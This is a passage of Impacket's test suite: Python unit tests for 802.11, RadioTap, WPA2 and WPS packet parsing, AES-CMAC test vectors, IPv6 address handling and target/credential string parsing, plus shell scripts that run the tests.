test_02_Duration(self): 45 | 'Test Duration field' 46 | 47 | self.assertEqual(self.data.get_duration(), 0x30) 48 | self.data.set_duration(0x1234) 49 | self.assertEqual(self.data.get_duration(), 0x1234) 50 | 51 | def test_03_Address_1(self): 52 | 'Test Address 1 field' 53 | 54 | addr=self.data.get_address1() 55 | 56 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 57 | addr[0]=0x12 58 | addr[5]=0x34 59 | self.data.set_address1(addr) 60 | self.assertEqual(self.data.get_address1().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 61 | 62 | def test_04_Address_2(self): 63 | 'Test Address 2 field' 64 | 65 | addr=self.data.get_address2() 66 | 67 | self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 68 | addr[0]=0x12 69 | addr[5]=0x34 70 | self.data.set_address2(addr) 71 | self.assertEqual(self.data.get_address2().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 72 | 73 | def test_05_Address_3(self): 74 | 'Test Address 3 field' 75 | 76 | addr=self.data.get_address3() 77 | 78 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 79 | addr[0]=0x12 80 | addr[5]=0x34 81 | self.data.set_address3(addr) 82 | self.assertEqual(self.data.get_address3().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 83 | 84 | def test_06_sequence_control(self): 85 | 'Test Sequence control field' 86 | self.assertEqual(self.data.get_sequence_control(), 0x4440) 87 | self.data.set_sequence_control(0x1234) 88 | self.assertEqual(self.data.get_sequence_control(), 0x1234) 89 | 90 | def test_07_fragment_number(self): 91 | 'Test Fragment number field' 92 | self.assertEqual(self.data.get_fragment_number(), 0x0000) 93 | self.data.set_fragment_number(0xF1) # Es de 4 bit 94 | self.assertEqual(self.data.get_fragment_number(), 0x01) 95 | 96 | def test_08_sequence_number(self): 97 | 'Test Sequence number field' 98 | self.assertEqual(self.data.get_sequence_number(), 0x0444) 99 | self.data.set_sequence_number(0xF234) # Es de 12 bit 100 | self.assertEqual(self.data.get_sequence_number(), 0x0234) 101 | 102 | def test_09_frame_data(self): 103 | 'Test Frame Data field' 104 | # Test with packet without addr4 105 | frame_body=b"\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00" 106 | self.assertEqual(self.data.get_frame_body(), frame_body) 107 | 108 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11DataFrames) 109 | unittest.main(defaultTest='suite') 110 | -------------------------------------------------------------------------------- /tests/dot11/test_RadioTapDecoder.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.ImpactDecoder import RadioTapDecoder 15 | import impacket.dot11, impacket.ImpactPacket 16 | import unittest 17 | from six import PY2 18 | 19 | class TestRadioTapDecoder(unittest.TestCase): 20 | 21 | def setUp(self): 22 | self.RadioTapData=b'\x00\x00\x20\x00\x67\x08\x04\x00\x30\x03\x1a\x25\x00\x00\x00\x00\x22\x0c\xd9\xa0\x02\x00\x00\x00\x40\x01\x00\x00\x3c\x14\x24\x11\x08\x02\x00\x00\xff\xff\xff\xff\xff\xff\x06\x03\x7f\x07\xa0\x16\x00\x19\xe3\xd3\x53\x52\x90\x7f\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x19\xe3\xd3\x53\x52\xa9\xfe\xf7\x00\x00\x00\x00\x00\x00\x00\x43\x08\x0e\x36' 23 | self.radiotap_decoder = RadioTapDecoder() 24 | self.in0=self.radiotap_decoder.decode(self.RadioTapData) 25 | self.in1=self.in0.child() 26 | self.in2=self.in1.child() 27 | self.in3=self.in2.child() 28 | self.in4=self.in3.child() 29 | self.in5=self.in4.child() 30 | self.in6=self.in5.child() 31 | 32 | def test_00(self): 33 | 'Test RadioTap decoder' 34 | if PY2: 35 | self.assertEqual(str(self.in0.__class__), "impacket.dot11.RadioTap") 36 | else: 37 | self.assertEqual(str(self.in0.__class__), "") 38 | 39 | def test_01(self): 40 | 'Test Dot11 decoder' 41 | if PY2: 42 | self.assertEqual(str(self.in1.__class__), "impacket.dot11.Dot11") 43 | else: 44 | self.assertEqual(str(self.in1.__class__), "") 45 | 46 | def test_02(self): 47 | 'Test Dot11DataFrame decoder' 48 | if PY2: 49 | self.assertEqual(str(self.in2.__class__), "impacket.dot11.Dot11DataFrame") 50 | else: 51 | self.assertEqual(str(self.in2.__class__), "") 52 | 53 | def test_03(self): 54 | 'Test LLC decoder' 55 | if PY2: 56 | self.assertEqual(str(self.in3.__class__), "impacket.dot11.LLC") 57 | else: 58 | self.assertEqual(str(self.in3.__class__), "") 59 | 60 | def test_04(self): 61 | 'Test SNAP decoder' 62 | if PY2: 63 | self.assertEqual(str(self.in4.__class__), "impacket.dot11.SNAP") 64 | else: 65 | self.assertEqual(str(self.in4.__class__), "") 66 | 67 | # def test_05(self): 68 | # 'Test ARP decoder' 69 | # self.assertEqual(str(self.in5.__class__), "ImpactPacket.ARP") 70 | 71 | # def test_05(self): 72 | # 'Test Data decoder' 73 | # self.assertEqual(str(self.in6.__class__), "ImpactPacket.Data") 74 | 75 | def test_06(self): 76 | 'Test Protocol Finder' 77 | p=self.radiotap_decoder.get_protocol(impacket.dot11.RadioTap) 78 | if PY2: 79 | self.assertEqual(str(p.__class__), "impacket.dot11.RadioTap") 80 | else: 81 | self.assertEqual(str(p.__class__), "") 82 | 83 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11) 84 | if PY2: 85 | self.assertEqual(str(p.__class__), "impacket.dot11.Dot11") 86 | else: 87 | self.assertEqual(str(p.__class__), "") 88 | 89 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11DataFrame) 90 | if PY2: 91 | self.assertEqual(str(p.__class__), "impacket.dot11.Dot11DataFrame") 92 | else: 93 | self.assertEqual(str(p.__class__), "") 94 | 95 | p=self.radiotap_decoder.get_protocol(impacket.dot11.LLC) 96 | if PY2: 97 | self.assertEqual(str(p.__class__), "impacket.dot11.LLC") 98 | else: 99 | self.assertEqual(str(p.__class__), "") 100 | 101 | p=self.radiotap_decoder.get_protocol(impacket.dot11.SNAP) 102 | if PY2: 103 | self.assertEqual(str(p.__class__), "impacket.dot11.SNAP") 104 | else: 105 | self.assertEqual(str(p.__class__), "") 106 | 107 | #p=self.radiotap_decoder.get_protocol(ImpactPacket.ARP) 108 | #self.assertEqual(str(p.__class__), "ImpactPacket.ARP") 109 | 110 | #p=self.radiotap_decoder.get_protocol(ImpactPacket.Data) 111 | #self.assertEqual(str(p.__class__), "ImpactPacket.Data") 112 | 113 | # When not found, None is returned 114 | p=self.radiotap_decoder.get_protocol(impacket.dot11.Dot11WPA) 115 | self.assertEqual(p, None) 116 | 117 | suite = unittest.TestLoader().loadTestsFromTestCase(TestRadioTapDecoder) 118 | unittest.main(defaultTest='suite') 119 | -------------------------------------------------------------------------------- /tests/dot11/test_WPA2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # sorry, this is very ugly, but I'm in python 2.5 11 | import sys 12 | sys.path.insert(0,"../..") 13 | 14 | from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data 15 | import unittest 16 | 17 | class TestDot11WPA2Data(unittest.TestCase): 18 | 19 | def setUp(self): 20 | # 802.11 Data Frame 21 | # 22 | self.frame_orig=b'\x08\x49\x24\x00\x00\x21\x29\x68\x33\x5d\x00\x15\xaf\xe4\xf1\x0f\x00\x21\x29\x68\x33\x5b\xe0\x31\x1b\x13\x00\x20\x00\x00\x00\x00\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19\x0c\xc0\x34\x07\xae\xe7\x77\xaf\xf9\x9f\x41\x53' 23 | d = Dot11(self.frame_orig) 24 | 25 | self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA) 26 | self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA) 27 | self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 28 | 29 | data = Dot11DataFrame(d.get_body_as_string()) 30 | d.contains(data) 31 | 32 | self.wpa2_header = Dot11WPA2(data.body_string) 33 | data.contains(self.wpa2_header) 34 | 35 | self.wpa2_data = Dot11WPA2Data(self.wpa2_header.body_string) 36 | self.wpa2_header.contains(self.wpa2_data) 37 | 38 | def test_01_is_WPA2(self): 39 | 'Test WPA2Header is_WPA2 method' 40 | self.assertEqual(self.wpa2_header.is_WPA2(), True) 41 | 42 | def test_03_extIV(self): 43 | 'Test WPA2Header extIV getter and setter methods' 44 | self.assertEqual(self.wpa2_header.get_extIV(), 0x01) 45 | 46 | self.wpa2_header.set_extIV(0x00) # Es de 1 bit 47 | self.assertEqual(self.wpa2_header.get_extIV(), 0x00) 48 | 49 | def test_04_keyid(self): 50 | 'Test WPA2Header keyID getter and setter methods' 51 | self.assertEqual(self.wpa2_header.get_keyid(), 0x00) 52 | 53 | self.wpa2_header.set_keyid(0x03) # Es de 2 bits 54 | self.assertEqual(self.wpa2_header.get_keyid(), 0x03) 55 | 56 | #TODO: Test get_decrypted_data 57 | #def test_05_get_decrypted_data(self): 58 | 59 | def test_06_PNs(self): 60 | 'Test WPA2Data PN0 to PN5 getter and setter methods' 61 | # PN0 62 | self.assertEqual(self.wpa2_header.get_PN0(), 0x1b) 63 | self.wpa2_header.set_PN0(0xAB) 64 | self.assertEqual(self.wpa2_header.get_PN0(), 0xAB) 65 | 66 | # PN1 67 | self.assertEqual(self.wpa2_header.get_PN1(), 0x13) 68 | self.wpa2_header.set_PN1(0xAB) 69 | self.assertEqual(self.wpa2_header.get_PN1(), 0xAB) 70 | 71 | # PN2 72 | self.assertEqual(self.wpa2_header.get_PN2(), 0x00) 73 | self.wpa2_header.set_PN2(0xAB) 74 | self.assertEqual(self.wpa2_header.get_PN2(), 0xAB) 75 | 76 | # PN3 77 | self.assertEqual(self.wpa2_header.get_PN3(), 0x00) 78 | self.wpa2_header.set_PN3(0xAB) 79 | self.assertEqual(self.wpa2_header.get_PN3(), 0xAB) 80 | 81 | # PN4 82 | self.assertEqual(self.wpa2_header.get_PN4(), 0x00) 83 | self.wpa2_header.set_PN4(0xAB) 84 | self.assertEqual(self.wpa2_header.get_PN4(), 0xAB) 85 | 86 | # PN5 87 | self.assertEqual(self.wpa2_header.get_PN5(), 0x00) 88 | self.wpa2_header.set_PN5(0xAB) 89 | self.assertEqual(self.wpa2_header.get_PN5(), 0xAB) 90 | 91 | def test_07_data(self): 92 | 'Test WPA2Data body' 93 | data=b'\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19' 94 | self.assertEqual(self.wpa2_data.body_string, data) 95 | 96 | def test_08_mic(self): 97 | 'Test WPA2Data MIC field' 98 | mic=b'\x0c\xc0\x34\x07\xae\xe7\x77\xaf' 99 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 100 | 101 | mic=b'\x01\x02\x03\x04\xff\xfe\xfd\xfc' 102 | self.wpa2_data.set_MIC(mic) 103 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 104 | 105 | suite = unittest.TestLoader().loadTestsFromTestCase(TestDot11WPA2Data) 106 | unittest.main(defaultTest='suite') 107 | -------------------------------------------------------------------------------- /tests/dot11/test_helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Tests for helper used to build ProtocolPackets 12 | # 13 | # Author: 14 | # Aureliano Calvo 15 | # 16 | # sorry, this is very ugly, but I'm in python 2.5 17 | import sys 18 | sys.path.insert(0,"../../..") 19 | 20 | import unittest 21 | import impacket.helper as h 22 | 23 | class TestHelpers(unittest.TestCase): 24 | 25 | def test_well_formed(self): 26 | class MockPacket(h.ProtocolPacket): 27 | byte_field = h.Byte(0) 28 | word_field = h.Word(1, ">") 29 | three_bytes_field = h.ThreeBytesBigEndian(3) 30 | long_field = h.Long(6, ">") 31 | aliased_bit_field = h.Bit(0,0) 32 | 33 | header_size = 4 34 | tail_size = 0 35 | 36 | p = MockPacket() 37 | p.byte_field = 1 38 | p.word_field = 2 39 | p.three_bytes_field = 4 40 | p.long_field = 8 41 | 42 | self.assertEqual(1, p.byte_field) 43 | self.assertEqual(2, p.word_field) 44 | self.assertEqual(4, p.three_bytes_field) 45 | self.assertEqual(8, p.long_field) 46 | 47 | self.assertEqual(True, p.aliased_bit_field) 48 | 49 | p.aliased_bit_field = False 50 | 51 | self.assertEqual(0, p.byte_field) 52 | 53 | self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing. 54 | 55 | 56 | suite = unittest.TestLoader().loadTestsFromTestCase(TestHelpers) 57 | unittest.main(defaultTest='suite') 58 | -------------------------------------------------------------------------------- /tests/dot11/test_wps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Tests for WPS packets 12 | # 13 | # Author: 14 | # Aureliano Calvo 15 | # 16 | # sorry, this is very ugly, but I'm in python 2.5 17 | import sys 18 | sys.path.insert(0,"../../..") 19 | 20 | 21 | import unittest 22 | from impacket import wps 23 | import array 24 | 25 | 26 | class TestTLVContainer(unittest.TestCase): 27 | 28 | def testNormalUsageContainer(self): 29 | BUILDERS={ 30 | 1: wps.StringBuilder(), 31 | 2: wps.ByteBuilder(), 32 | 3: wps.NumBuilder(2) 33 | } 34 | tlvc = wps.TLVContainer(builders=BUILDERS) 35 | 36 | KINDS_N_VALUES = ( 37 | (1, b"Sarlanga"), 38 | (2, 1), 39 | (3, 1024), 40 | (4, array.array("B", [1,2,3])) 41 | ) 42 | for k,v in KINDS_N_VALUES: 43 | tlvc.append(k,v) 44 | 45 | tlvc2 = wps.TLVContainer(builders=BUILDERS) 46 | tlvc2.from_ary(tlvc.to_ary()) 47 | 48 | for k,v in KINDS_N_VALUES: 49 | self.assertEqual(v, tlvc2.first(k)) 50 | 51 | self.assertEqual(tlvc.to_ary(), tlvc2.to_ary()) 52 | self.assertEqual(b"Sarlanga", tlvc.first(1)) 53 | 54 | 55 | suite = unittest.TestLoader().loadTestsFromTestCase(TestTLVContainer) 56 | unittest.main(defaultTest='suite') 57 | -------------------------------------------------------------------------------- /tests/misc/runalltestcases.bat: -------------------------------------------------------------------------------- 1 | 2 | FOR /f "tokens=*" %%G IN ('dir /B *.py') DO %%G -------------------------------------------------------------------------------- /tests/misc/runalltestcases.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | separator='======================================================================' 3 | 4 | export PYTHONPATH=../..:$PYTHONPATH 5 | 6 | if [ $# -gt 0 ] 7 | then 8 | # Only run coverage when called by tox 9 | RUN="python -m coverage run --append --rcfile=../coveragerc " 10 | else 11 | RUN=python 12 | fi 13 | 14 | total=0 15 | ok=0 16 | failed=0 17 | for file in `ls *.py` ; do 18 | echo $separator 19 | echo Executing $RUN $file 20 | latest=$( 21 | $RUN $file 2>&1 | { 22 | while read line; do 23 | echo " $line" 1>&2 24 | latest="$line" 25 | done 26 | echo $latest 27 | } 28 | ) 29 | #echo Latest ${latest} 30 | result=${latest:0:6} 31 | if [ "$result" = "FAILED" ] 32 | then 33 | (( failed++ )) 34 | elif [ "$result" = "OK" ] 35 | then 36 | (( ok++ )) 37 | fi 38 | 39 | (( total++ )) 40 | done 41 | echo $separator 42 | echo Summary: 43 | echo " OK $ok/$total" 44 | echo " $failed FAILED" 45 | if [ "$failed" -gt 0 ]; then 46 | echo "ERROR" >&2 47 | exit 1 48 | fi 49 | -------------------------------------------------------------------------------- /tests/misc/test_crypto.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | from __future__ import print_function, division 11 | import unittest 12 | from binascii import hexlify, unhexlify 13 | 14 | from impacket.crypto import Generate_Subkey, AES_CMAC, AES_CMAC_PRF_128 15 | 16 | 17 | def by8(s): 18 | return [s[i:i + 8] for i in range(0, len(s), 8)] 19 | 20 | 21 | def hex8(b): 22 | return ' '.join(by8(hexlify(b).decode('ascii'))) 23 | 24 | 25 | def pp(prev, s): 26 | print(prev, end=' ') 27 | for c in by8(s): 28 | print(c, end=' ') 29 | # for i in range((len(s)//8)): 30 | # print("%s" % (s[:8]), end = ' ') 31 | # s = s[8:] 32 | print() 33 | return '' 34 | 35 | 36 | class CryptoTests(unittest.TestCase): 37 | def test_subkey(self): 38 | K = "2b7e151628aed2a6abf7158809cf4f3c" 39 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" 40 | 41 | K1, K2 = Generate_Subkey(unhexlify(K)) 42 | self.assertEqual(hex8(K1), 'fbeed618 35713366 7c85e08f 7236a8de') 43 | self.assertEqual(hex8(K2), 'f7ddac30 6ae266cc f90bc11e e46d513b') 44 | 45 | def test_AES_CMAC(self): 46 | K = "2b7e151628aed2a6abf7158809cf4f3c" 47 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" 48 | # Example 1: len = 0 49 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 0)), 50 | 'bb1d6929 e9593728 7fa37d12 9b756746') 51 | # Example 2: len = 16 52 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 16)), 53 | '070a16b4 6b4d4144 f79bdd9d d04a287c') 54 | # Example 3: len = 40 55 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 40)), 56 | 'dfa66747 de9ae630 30ca3261 1497c827') 57 | # Example 3: len = 64 58 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 64)), 59 | '51f0bebf 7e3b9d92 fc497417 79363cfe') 60 | M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b" 61 | K = "6c3473624099e17ff3a39ff6bdf6cc38" 62 | # Mac = dbf63fd93c4296609e2d66bf79251cb5 63 | # Example 4: len = 45 64 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 45)), 65 | 'dbf63fd9 3c429660 9e2d66bf 79251cb5') 66 | 67 | def test_AES_CMAC_PRF_128(self): 68 | K = "000102030405060708090a0b0c0d0e0fedcb" 69 | M = "000102030405060708090a0b0c0d0e0f10111213" 70 | 71 | # AES-CMAC-PRF-128 Test Vectors 72 | # Example 1: len = 0, Key Length 18 73 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K), unhexlify(M), 18, len(unhexlify(M)))), 74 | '84a348a4 a45d235b abfffc0d 2b4da09a') 75 | # Example 1: len = 0, Key Length 16 76 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16], unhexlify(M), 16, len(unhexlify(M)))), 77 | '980ae87b 5f4c9c52 14f5b6a8 455e4c2d') 78 | # Example 1: len = 0, Key Length 10 79 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10], unhexlify(M), 10, len(unhexlify(M)))), 80 | '290d9e11 2edb09ee 141fcf64 c0b72f3d') 81 | 82 | 83 | if __name__ == "__main__": 84 | unittest.main(verbosity=1) 85 | -------------------------------------------------------------------------------- /tests/misc/test_ip6_address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | import unittest 11 | from binascii import hexlify 12 | from impacket.IP6_Address import IP6_Address 13 | 14 | 15 | def hexl(b): 16 | return hexlify(b).decode('ascii') 17 | 18 | 19 | class IP6AddressTests(unittest.TestCase): 20 | def test_bin(self): 21 | tests = (("A:B:C:D:E:F:1:2", '000a000b000c000d000e000f00010002', 22 | "A:B:C:D:E:F:1:2"), 23 | ("A:B:0:D:E:F:0:2", '000a000b0000000d000e000f00000002', 24 | "A:B::D:E:F:0:2"), 25 | ("A::BC:E:D", '000a000000000000000000bc000e000d', 26 | "A::BC:E:D"), 27 | ("A::BCD:EFFF:D", '000a00000000000000000bcdefff000d', 28 | "A::BCD:EFFF:D"), 29 | ("FE80:0000:0000:0000:020C:29FF:FE26:E251", 30 | 'fe80000000000000020c29fffe26e251', 31 | "FE80::20C:29FF:FE26:E251"), 32 | ("::", '00000000000000000000000000000000', 33 | "::"), 34 | ("1::", '00010000000000000000000000000000', 35 | "1::"), 36 | ("::2", '00000000000000000000000000000002', 37 | "::2"), 38 | ) 39 | # print IP6_Address("A::BC:E:D").as_string(False) 40 | for torig, thex, texp in tests: 41 | ip = IP6_Address(torig) 42 | byt = ip.as_bytes() 43 | self.assertEqual(hexl(byt), thex) 44 | self.assertEqual(ip.as_string(), texp) 45 | 46 | if not hasattr(unittest.TestCase, 'assertRaisesRegex'): 47 | if hasattr(unittest.TestCase, 'assertRaisesRegexp'): # PY2.7, PY3.1 48 | assertRaisesRegex = unittest.TestCase.assertRaisesRegexp 49 | else: # PY2.6 50 | def assertRaisesRegex(self, ex, rx, *args): 51 | # Just ignore the regex 52 | return self.assertRaises(ex, rx, *args) 53 | 54 | def test_malformed(self): 55 | with self.assertRaisesRegex(Exception, r'address size'): 56 | IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345") 57 | with self.assertRaisesRegex(Exception, r'triple colon'): 58 | IP6_Address(":::") 59 | with self.assertRaisesRegex(Exception, r'triple colon'): 60 | IP6_Address("::::") 61 | # Could also test other invalid inputs 62 | # IP6_Address("AB:CD:EF") 63 | # IP6_Address("12::34::56") 64 | # IP6_Address("00BCDE::") 65 | # IP6_Address("DEFG::") 66 | # and how about these... 67 | # IP6_Address("A::0XBC:D") 68 | # IP6_Address("B:-123::") 69 | # IP6_Address("B:56 ::-0xE") 70 | 71 | 72 | if __name__ == '__main__': 73 | unittest.main(verbosity=1) 74 | -------------------------------------------------------------------------------- /tests/misc/test_utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Utility and helper functions for the example scripts 12 | # 13 | import unittest 14 | from impacket.examples.utils import parse_target, parse_credentials 15 | 16 | 17 | class UtilsTests(unittest.TestCase): 18 | 19 | def test_parse_target(self): 20 | # Parse target returns a tuple with: domain, username, password, remote_name/address 21 | targets = { 22 | "": ("", "", "", ""), 23 | "HostName": ("", "", "", "HostName"), 24 | "UserName@HostName": ("", "UserName", "", "HostName"), 25 | "UserName:Password@HostName": ("", "UserName", "Password", "HostName"), 26 | "UserName:Pa$$word1234@HostName": ("", "UserName", "Pa$$word1234", "HostName"), 27 | "UserName:Password!#$@HostName": ("", "UserName", "Password!#$", "HostName"), 28 | "UserName:Passw@rd!#$@HostName": ("", "UserName", "Passw@rd!#$", "HostName"), 29 | "UserName:P@ssw@rd@!#$@HostName": ("", "UserName", "P@ssw@rd@!#$", "HostName"), 30 | "DOMAIN/UserName@HostName": ("DOMAIN", "UserName", "", "HostName"), 31 | "DOMAIN/:Password@HostName": ("DOMAIN", "", "Password", "HostName"), 32 | "DOMAIN/UserName:Password@HostName": ("DOMAIN", "UserName", "Password", "HostName"), 33 | "DOMAIN/UserName:Password/123@HostName": ("DOMAIN", "UserName", "Password/123", "HostName"), 34 | } 35 | 36 | for target, result in targets.items(): 37 | self.assertTupleEqual(parse_target(target), result) 38 | 39 | def test_parse_credentials(self): 40 | # Parse credentials returns a tuple with: domain, username, password 41 | creds = { 42 | "": ("", "", ""), 43 | "UserName": ("", "UserName", ""), 44 | "UserName:Password": ("", "UserName", "Password"), 45 | "UserName:Password:123": ("", "UserName", "Password:123"), 46 | "DOMAIN/UserName": ("DOMAIN", "UserName", ""), 47 | "DOMAIN/UserName:Password": ("DOMAIN", "UserName", "Password"), 48 | "DOMAIN/UserName:Password/123": ("DOMAIN", "UserName", "Password/123"), 49 | } 50 | 51 | for cred, result in creds.items(): 52 | self.assertTupleEqual(parse_credentials(cred), result) 53 | 54 | 55 | if __name__ == "__main__": 56 | unittest.main(verbosity=1) 57 | -------------------------------------------------------------------------------- /tests/runall.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | if [ $# -gt 0 ] 3 | then 4 | SUFFIX=$1 5 | # Only run coverage when called by tox 6 | RUN="python -m coverage run --append --rcfile=../coveragerc " 7 | RUNLOCAL="python -m coverage run --append --rcfile=./coveragerc " 8 | COVERAGE=true 9 | else 10 | SUFFIX=XX 11 | RUN=python 12 | RUNLOCAL=python 13 | COVERAGE= 14 | fi 15 | 16 | export PYTHONPATH=../:$PYTHONPATH 17 | 18 | OUTPUTFILE=/tmp/impacketoutput$SUFFIX.txt 19 | # Let's remove the OUTPUTFILE in case it exists 20 | rm -f $OUTPUTFILE 21 | 22 | # Start running the tests 23 | 24 | echo Python Version 25 | python -V 26 | 27 | echo Walking modules 28 | $RUNLOCAL ./walkmodules.py 29 | 30 | echo Testing ImpactPacket 31 | cd ImpactPacket 32 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 33 | 34 | echo Testing dot11 35 | cd ../dot11 36 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 37 | 38 | # In some environments we don't have a Windows 2012 R2 Domain Controller, 39 | # so skip these tests. 40 | cd ../SMB_RPC 41 | echo test_spnego.py 42 | $RUN test_spnego.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 43 | echo test_ntlm.py 44 | $RUN test_ntlm.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 45 | echo test_smbserver.py 46 | $RUN test_smbserver.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 47 | echo test_wmi.py OfflineTests 48 | $RUN test_wmi.py OfflineTests 2>&1 1>/dev/null | tee -a $OUTPUTFILE 49 | 50 | if [ -z "$NO_REMOTE" ]; then 51 | echo Testing SMB RPC/LDAP 52 | export PYTHONPATH=../../:$PYTHONPATH 53 | echo test_smb.py 54 | $RUN test_smb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 55 | echo test_ldap.py 56 | $RUN test_ldap.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 57 | echo test_nmb.py 58 | $RUN test_nmb.py 2>&1 1>/dev/null | tee -a $OUTPUTFILE 59 | ./rundce.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 60 | fi 61 | 62 | echo Testing misc 63 | cd ../misc 64 | ./runalltestcases.sh $COVERAGE 2>&1 1>/dev/null | tee -a $OUTPUTFILE 65 | 66 | cd .. 67 | 68 | if [ $COVERAGE ] 69 | then 70 | # Combine coverage and produce report 71 | echo "Combining coverage data" 72 | mv .coverage .coveragetmp 73 | coverage combine .coveragetmp ImpactPacket/.coverage dot11/.coverage SMB_RPC/.coverage misc/.coverage 74 | coverage html 